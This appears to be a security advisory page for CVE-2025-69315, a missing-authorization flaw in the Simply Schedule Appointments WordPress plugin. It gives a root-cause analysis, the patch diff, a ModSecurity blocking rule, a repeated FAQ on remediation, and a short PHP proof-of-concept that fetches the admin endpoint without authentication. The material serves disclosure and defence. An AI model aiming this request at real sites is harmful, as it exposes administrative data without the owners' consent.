What is CVE-2025-69315?

CVE-2025-69315 is a medium severity vulnerability affecting the Simply Schedule Appointments plugin for WordPress, specifically versions up to and including 1.6.9.15. It is caused by a missing authorization check on a REST API endpoint, allowing unauthenticated attackers to perform unauthorized actions.

How does the vulnerability work?

The vulnerability arises from a missing capability check in the REST API endpoint for retrieving embedded admin output. An attacker can send a GET request to the endpoint without authentication, triggering a function meant for admin users, potentially leading to unauthorized access to sensitive data.

Who is affected by this vulnerability?

Any WordPress site using the Simply Schedule Appointments plugin version 1.6.9.15 or earlier is affected. Administrators should check their plugin version in the WordPress dashboard under the Plugins section to determine if they are at risk.

How can I check if my site is vulnerable?

To check if your site is vulnerable, log in to your WordPress admin panel, navigate to the Plugins section, and look for the Simply Schedule Appointments plugin. If the version is 1.6.9.15 or earlier, your site is vulnerable.

How can I fix this vulnerability?

To mitigate this vulnerability, update the Simply Schedule Appointments plugin to version 1.6.9.17 or later, where the missing authorization issue has been addressed. Regularly updating plugins is crucial for maintaining site security.

What does the CVSS score of 5.3 indicate?

A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it still poses a significant risk and should be addressed promptly to prevent potential exploitation.

What is a proof of concept (PoC)?

A proof of concept (PoC) is a demonstration that illustrates how the vulnerability can be exploited. In this case, the PoC shows how an attacker can send a GET request to the vulnerable REST API endpoint without authentication to access restricted data.

How can I protect my site from similar vulnerabilities?

To protect your site from similar vulnerabilities, regularly update all plugins and themes, use strong passwords, implement security plugins, and monitor your site for unusual activity. Conducting periodic security audits can also help identify potential risks.

What should I do if I cannot update the plugin immediately?

If you cannot update the plugin immediately, consider disabling the Simply Schedule Appointments plugin temporarily to prevent exploitation. Additionally, review your site’s access logs for any unauthorized activity and strengthen user permissions.

Where can I find more information about this vulnerability?

More information about CVE-2025-69315 can be found on the official CVE database, security advisories from WordPress, and the plugin’s official website. Following security blogs and forums can also provide updates on vulnerabilities and best practices.

Is it safe to use the Simply Schedule Appointments plugin after the patch?

Yes, using the Simply Schedule Appointments plugin after updating to version 1.6.9.17 or later is safe, as the patch addresses the authorization issue. However, it is essential to maintain good security practices and stay informed about future updates.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-69315: Simply Schedule Appointments <= 1.6.9.15 – Missing Authorization (simply-schedule-appointments)

Q: What are the potential impacts of this vulnerability?

If exploited, this vulnerability could allow unauthorized users to access administrative interface data or internal plugin information. This could lead to further security breaches or data leaks, depending on the information exposed.

CVE ID CVE-2025-69315

Plugin simply-schedule-appointments

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 1.6.9.15

Patched Version 1.6.9.17

Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69315:
The Simply Schedule Appointments WordPress plugin, versions up to and including 1.6.9.15, contains a missing authorization vulnerability in its REST API endpoint for retrieving embedded admin output. This flaw allows unauthenticated attackers to perform unauthorized actions, leading to potential information disclosure. The CVSS score of 5.3 reflects a medium severity impact.

Atomic Edge research identifies the root cause as an improper permission callback on a REST API route registration. In the vulnerable file `simply-schedule-appointments/includes/class-shortcodes.php`, the `register_rest_route` function for the `embed-inner-admin-output` endpoint (line 906) sets its `permission_callback` to `’__return_true’`. This configuration allows any request, regardless of authentication status, to invoke the associated `get_embed_inner_admin_output` callback function.

The exploitation method involves sending a GET request to the specific WordPress REST API endpoint. Attackers can target the route `/wp-json/simply-schedule-appointments/v1/embed-inner-admin-output`. No special parameters or authentication headers are required. The request directly triggers the `get_embed_inner_admin_output` function, which is intended only for users with administrative capabilities for the plugin.

The patch, applied in version 1.6.9.17, replaces the `’__return_true’` permission callback with a call to a new method: `array( $this, ‘current_user_can_manage_appointments’ )`. This new method, defined on lines 913-915, performs a proper capability check using `current_user_can( ‘ssa_manage_appointments’ )`. The fix ensures the REST endpoint only executes for users possessing the `ssa_manage_appointments` capability, effectively blocking unauthenticated and unauthorized access.

Successful exploitation of this vulnerability allows unauthenticated attackers to trigger the `get_embed_inner_admin_output` function. Atomic Edge analysis indicates this could lead to unauthorized retrieval of administrative interface data or internal plugin information. The exact impact depends on the logic within the callback function, but it constitutes a clear violation of authorization boundaries and could facilitate further reconnaissance or attack chain development.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/simply-schedule-appointments/includes/class-elementor.php
+++ b/simply-schedule-appointments/includes/class-elementor.php
@@ -20,7 +20,7 @@
 	 *
 	 * @var string The plugin version.
 	 */
-	const VERSION = '1.6.9.15';
+	const VERSION = '1.6.9.17';

 	/**
 	 * Minimum Elementor Version
@@ -29,7 +29,7 @@
 	 *
 	 * @var string Minimum Elementor version required to run the plugin.
 	 */
-	const MINIMUM_ELEMENTOR_VERSION = '1.6.9.15';
+	const MINIMUM_ELEMENTOR_VERSION = '1.6.9.17';

 	/**
 	 * Minimum PHP Version
@@ -38,7 +38,7 @@
 	 *
 	 * @var string Minimum PHP version required to run the plugin.
 	 */
-	const MINIMUM_PHP_VERSION = '1.6.9.15';
+	const MINIMUM_PHP_VERSION = '1.6.9.17';

 	/**
 	 * Instance
--- a/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
+++ b/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
@@ -23,7 +23,7 @@
 	 *  @package    PHP-PayPal-IPN
 	 *  @author     Micah Carrick
 	 *  @copyright  (c) 2011 - Micah Carrick
-	 *  @version    1.6.9.15
+	 *  @version    1.6.9.17
 	 *  @license    http://opensource.org/licenses/gpl-3.0.html
 	 */

--- a/simply-schedule-appointments/includes/class-shortcodes.php
+++ b/simply-schedule-appointments/includes/class-shortcodes.php
@@ -906,12 +906,16 @@
 				array(
 					'methods'             => WP_REST_Server::READABLE,
 					'callback'            => array( $this, 'get_embed_inner_admin_output' ),
-					'permission_callback' => '__return_true',
+					'permission_callback' => array( $this, 'current_user_can_manage_appointments' ),
 					'args'                => array(),
 				),
 			)
 		);
 	}
+
+	public function current_user_can_manage_appointments() {
+		return current_user_can( 'ssa_manage_appointments' );
+	}

 	/**
 	 * Takes $_REQUEST params and returns the booking shortcode output.
--- a/simply-schedule-appointments/simply-schedule-appointments.php
+++ b/simply-schedule-appointments/simply-schedule-appointments.php
@@ -3,7 +3,7 @@
  * Plugin Name: Simply Schedule Appointments
  * Plugin URI:  https://simplyscheduleappointments.com
  * Description: Easy appointment scheduling
- * Version:     1.6.9.15
+ * Version:     1.6.9.17
  * Requires PHP: 7.4
  * Author:      NSquared
  * Author URI:  https://nsquared.io/
@@ -15,7 +15,7 @@
  * @link    https://simplyscheduleappointments.com
  *
  * @package Simply_Schedule_Appointments
- * @version 1.6.9.15
+ * @version 1.6.9.17
  *
  * Built using generator-plugin-wp (https://github.com/WebDevStudios/generator-plugin-wp)
  */
@@ -206,7 +206,7 @@
 	 * @var    string
 	 * @since  0.0.0
 	 */
-	const VERSION = '1.6.9.15';
+	const VERSION = '1.6.9.17';

 	/**
 	 * URL of plugin directory.
--- a/simply-schedule-appointments/vendor/composer/autoload_static.php
+++ b/simply-schedule-appointments/vendor/composer/autoload_static.php
@@ -20,54 +20,54 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'T' =>
+        'T' =>
         array (
             'Twig\' => 5,
         ),
-        'S' =>
+        'S' =>
         array (
             'Symfony\Polyfill\Php81\' => 23,
             'Symfony\Polyfill\Php80\' => 23,
             'Symfony\Polyfill\Mbstring\' => 26,
             'Symfony\Polyfill\Ctype\' => 23,
         ),
-        'L' =>
+        'L' =>
         array (
             'League\Period\' => 14,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'Twig\' =>
+        'Twig\' =>
         array (
             0 => __DIR__ . '/..' . '/twig/twig/src',
         ),
-        'Symfony\Polyfill\Php81\' =>
+        'Symfony\Polyfill\Php81\' =>
         array (
             0 => __DIR__ . '/..' . '/symfony/polyfill-php81',
         ),
-        'Symfony\Polyfill\Php80\' =>
+        'Symfony\Polyfill\Php80\' =>
         array (
             0 => __DIR__ . '/..' . '/symfony/polyfill-php80',
         ),
-        'Symfony\Polyfill\Mbstring\' =>
+        'Symfony\Polyfill\Mbstring\' =>
         array (
             0 => __DIR__ . '/..' . '/symfony/polyfill-mbstring',
         ),
-        'Symfony\Polyfill\Ctype\' =>
+        'Symfony\Polyfill\Ctype\' =>
         array (
             0 => __DIR__ . '/..' . '/symfony/polyfill-ctype',
         ),
-        'League\Period\' =>
+        'League\Period\' =>
         array (
             0 => __DIR__ . '/..' . '/league/period/src',
         ),
     );

     public static $prefixesPsr0 = array (
-        'N' =>
+        'N' =>
         array (
-            'NSquared\SSA\Vendor\' =>
+            'NSquared\SSA\Vendor\' =>
             array (
                 0 => __DIR__ . '/../..' . '/includes/third-party',
             ),
--- a/simply-schedule-appointments/vendor/composer/installed.php
+++ b/simply-schedule-appointments/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'd33645ebb48e1d8636b43dbd21319fbcd2aff174',
+        'reference' => 'e19fca4916d336a1fd7b5946be90b22df58fb8c9',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'd33645ebb48e1d8636b43dbd21319fbcd2aff174',
+            'reference' => 'e19fca4916d336a1fd7b5946be90b22df58fb8c9',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2025-69315
SecRule REQUEST_URI "@rx ^/wp-json/simply-schedule-appointments/v1/embed-inner-admin-output" 
  "id:100069315,phase:2,deny,status:403,chain,msg:'CVE-2025-69315 - Unauthorized access to Simply Schedule Appointments admin endpoint',severity:'CRITICAL',tag:'CVE-2025-69315',tag:'WordPress',tag:'Plugin/Simply-Schedule-Appointments'"
  SecRule &REQUEST_HEADERS:Authorization "@eq 0"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69315 - Simply Schedule Appointments <= 1.6.9.15 - Missing Authorization

<?php

$target_url = 'http://example.com/wp-json/simply-schedule-appointments/v1/embed-inner-admin-output';

// Initialize cURL session
$ch = curl_init();

// Set the target URL for the vulnerable REST endpoint
curl_setopt($ch, CURLOPT_URL, $target_url);

// Use GET method as defined by the WP_REST_Server::READABLE constant
curl_setopt($ch, CURLOPT_HTTPGET, true);

// Return the response as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Follow redirects if any
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request (no authentication required)
$response = curl_exec($ch);

// Get the HTTP status code
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Close cURL session
curl_close($ch);

// Output results
if ($http_code == 200 && !empty($response)) {
    echo "[+] SUCCESS: Unauthorized access to admin endpoint confirmed.n";
    echo "[+] HTTP Status: $http_coden";
    echo "[+] Response Preview: " . substr($response, 0, 500) . "n";
} else {
    echo "[-] Request failed or endpoint may be patched.n";
    echo "[-] HTTP Status: $http_coden";
}

?>

Frequently Asked Questions

What is CVE-2025-69315?
Overview of the vulnerability
CVE-2025-69315 is a medium severity vulnerability affecting the Simply Schedule Appointments plugin for WordPress, specifically versions up to and including 1.6.9.15. It is caused by a missing authorization check on a REST API endpoint, allowing unauthenticated attackers to perform unauthorized actions.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from a missing capability check in the REST API endpoint for retrieving embedded admin output. An attacker can send a GET request to the endpoint without authentication, triggering a function meant for admin users, potentially leading to unauthorized access to sensitive data.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Simply Schedule Appointments plugin version 1.6.9.15 or earlier is affected. Administrators should check their plugin version in the WordPress dashboard under the Plugins section to determine if they are at risk.
How can I check if my site is vulnerable?
Steps to verify plugin version
To check if your site is vulnerable, log in to your WordPress admin panel, navigate to the Plugins section, and look for the Simply Schedule Appointments plugin. If the version is 1.6.9.15 or earlier, your site is vulnerable.
How can I fix this vulnerability?
Recommended actions
To mitigate this vulnerability, update the Simply Schedule Appointments plugin to version 1.6.9.17 or later, where the missing authorization issue has been addressed. Regularly updating plugins is crucial for maintaining site security.
What does the CVSS score of 5.3 indicate?
Understanding risk levels
A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it still poses a significant risk and should be addressed promptly to prevent potential exploitation.
What are the potential impacts of this vulnerability?
Consequences of exploitation
If exploited, this vulnerability could allow unauthorized users to access administrative interface data or internal plugin information. This could lead to further security breaches or data leaks, depending on the information exposed.
What is a proof of concept (PoC)?
Demonstrating the vulnerability
A proof of concept (PoC) is a demonstration that illustrates how the vulnerability can be exploited. In this case, the PoC shows how an attacker can send a GET request to the vulnerable REST API endpoint without authentication to access restricted data.
How can I protect my site from similar vulnerabilities?
Best practices for security
To protect your site from similar vulnerabilities, regularly update all plugins and themes, use strong passwords, implement security plugins, and monitor your site for unusual activity. Conducting periodic security audits can also help identify potential risks.
What should I do if I cannot update the plugin immediately?
Interim mitigation strategies
If you cannot update the plugin immediately, consider disabling the Simply Schedule Appointments plugin temporarily to prevent exploitation. Additionally, review your site’s access logs for any unauthorized activity and strengthen user permissions.
Where can I find more information about this vulnerability?
Additional resources
More information about CVE-2025-69315 can be found on the official CVE database, security advisories from WordPress, and the plugin’s official website. Following security blogs and forums can also provide updates on vulnerabilities and best practices.
Is it safe to use the Simply Schedule Appointments plugin after the patch?
Post-patch considerations
Yes, using the Simply Schedule Appointments plugin after updating to version 1.6.9.17 or later is safe, as the patch addresses the authorization issue. However, it is essential to maintain good security practices and stay informed about future updates.

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